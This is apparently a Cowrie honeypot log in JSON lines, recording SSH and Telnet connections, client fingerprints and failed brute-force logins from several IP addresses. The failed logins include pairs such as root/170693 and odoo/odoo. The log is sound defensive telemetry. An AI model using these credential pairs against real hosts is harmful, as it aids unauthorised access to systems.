{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:09.862464Z","src_ip":"91.92.40.23","session":"188551995ae5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:11.238038Z","src_ip":"91.92.40.23","session":"c3d97c867462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:11.240838Z","src_ip":"91.92.40.23","session":"c3d97c867462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123","message":"login attempt [runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:11.807797Z","src_ip":"91.92.40.23","session":"1796ac1f7617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:14.190191Z","src_ip":"91.92.40.23","session":"1796ac1f7617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":23448,"dst_ip":"10.17.0.5","dst_port":22,"session":"16351e89d5cf","protocol":"ssh","message":"New connection: 91.92.40.23:23448 (10.17.0.5:22) [session: 16351e89d5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:14.515661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:15.849702Z","src_ip":"91.92.40.23","session":"16351e89d5cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:15.857967Z","src_ip":"91.92.40.23","session":"16351e89d5cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:16.329854Z","src_ip":"91.92.40.23","session":"c3d97c867462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:18.077032Z","src_ip":"91.92.40.23","session":"c3d97c867462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"aaa","message":"login attempt [aaa/aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:19.394082Z","src_ip":"91.92.40.23","session":"16351e89d5cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":40990,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcc3f0ad0e73","protocol":"ssh","message":"New connection: 91.92.40.23:40990 (10.17.0.5:22) [session: bcc3f0ad0e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:20.507535Z"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:21.081069Z","src_ip":"91.92.40.23","session":"16351e89d5cf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:21.128673Z","src_ip":"91.92.40.23","session":"bcc3f0ad0e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:21.131258Z","src_ip":"91.92.40.23","session":"bcc3f0ad0e73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":59212,"dst_ip":"159.203.135.109","dst_port":23,"session":"077ae6dfd307","protocol":"telnet","message":"New connection: 137.184.5.188:59212 (159.203.135.109:23) [session: 077ae6dfd307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:21.623424Z"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:24.260054Z","src_ip":"91.92.40.23","session":"bcc3f0ad0e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:25.629684Z","src_ip":"91.92.40.23","session":"bcc3f0ad0e73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":38578,"dst_ip":"10.17.0.5","dst_port":22,"session":"950a5fb2561b","protocol":"ssh","message":"New connection: 91.92.40.23:38578 (10.17.0.5:22) [session: 950a5fb2561b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:26.408213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:26.507410Z","src_ip":"91.92.40.23","session":"950a5fb2561b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:26.509436Z","src_ip":"91.92.40.23","session":"950a5fb2561b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":42656,"dst_ip":"10.17.0.5","dst_port":22,"session":"81d0caa8ba69","protocol":"ssh","message":"New connection: 38.242.143.220:42656 (10.17.0.5:22) [session: 81d0caa8ba69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:53.379985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:53.383526Z","src_ip":"38.242.143.220","session":"81d0caa8ba69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:53.479391Z","src_ip":"38.242.143.220","session":"81d0caa8ba69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arweave123","password":"arweave123","message":"login attempt [arweave123/arweave123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:53.782866Z","src_ip":"38.242.143.220","session":"81d0caa8ba69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:54.880006Z","src_ip":"38.242.143.220","session":"81d0caa8ba69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.215.164.223","src_port":52090,"dst_ip":"159.203.135.109","dst_port":22,"session":"663a5e6b4256","protocol":"ssh","message":"New connection: 185.215.164.223:52090 (159.203.135.109:22) [session: 663a5e6b4256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:55:29.712552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:55:29.716461Z","src_ip":"185.215.164.223","session":"663a5e6b4256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:55:29.812731Z","src_ip":"185.215.164.223","session":"663a5e6b4256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"token321","password":"token321","message":"login attempt [token321/token321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:55:30.132189Z","src_ip":"185.215.164.223","session":"663a5e6b4256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:55:31.233394Z","src_ip":"185.215.164.223","session":"663a5e6b4256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":80.1214246749878,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:55:41.744749Z","src_ip":"137.184.5.188","session":"077ae6dfd307","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":36930,"dst_ip":"10.17.0.5","dst_port":22,"session":"92f0230f1347","protocol":"ssh","message":"New connection: 109.237.96.109:36930 (10.17.0.5:22) [session: 92f0230f1347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:55:45.021097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:55:45.025311Z","src_ip":"109.237.96.109","session":"92f0230f1347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:55:45.118708Z","src_ip":"109.237.96.109","session":"92f0230f1347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"170693","message":"login attempt [root/170693] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:55:45.403844Z","src_ip":"109.237.96.109","session":"92f0230f1347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:55:46.499524Z","src_ip":"109.237.96.109","session":"92f0230f1347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:56:26.417386Z","src_ip":"91.92.40.23","session":"950a5fb2561b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":57782,"dst_ip":"159.203.135.109","dst_port":23,"session":"7123c5021424","protocol":"telnet","message":"New connection: 137.184.5.188:57782 (159.203.135.109:23) [session: 7123c5021424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:56:42.313519Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":32946,"dst_ip":"159.203.135.109","dst_port":22,"session":"690c60ab82fd","protocol":"ssh","message":"New connection: 103.82.36.79:32946 (159.203.135.109:22) [session: 690c60ab82fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:56:45.983794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:56:45.987684Z","src_ip":"103.82.36.79","session":"690c60ab82fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:56:46.245505Z","src_ip":"103.82.36.79","session":"690c60ab82fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"daxada","message":"login attempt [root/daxada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:56:47.021513Z","src_ip":"103.82.36.79","session":"690c60ab82fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:56:48.281711Z","src_ip":"103.82.36.79","session":"690c60ab82fd","protocol":"ssh"}
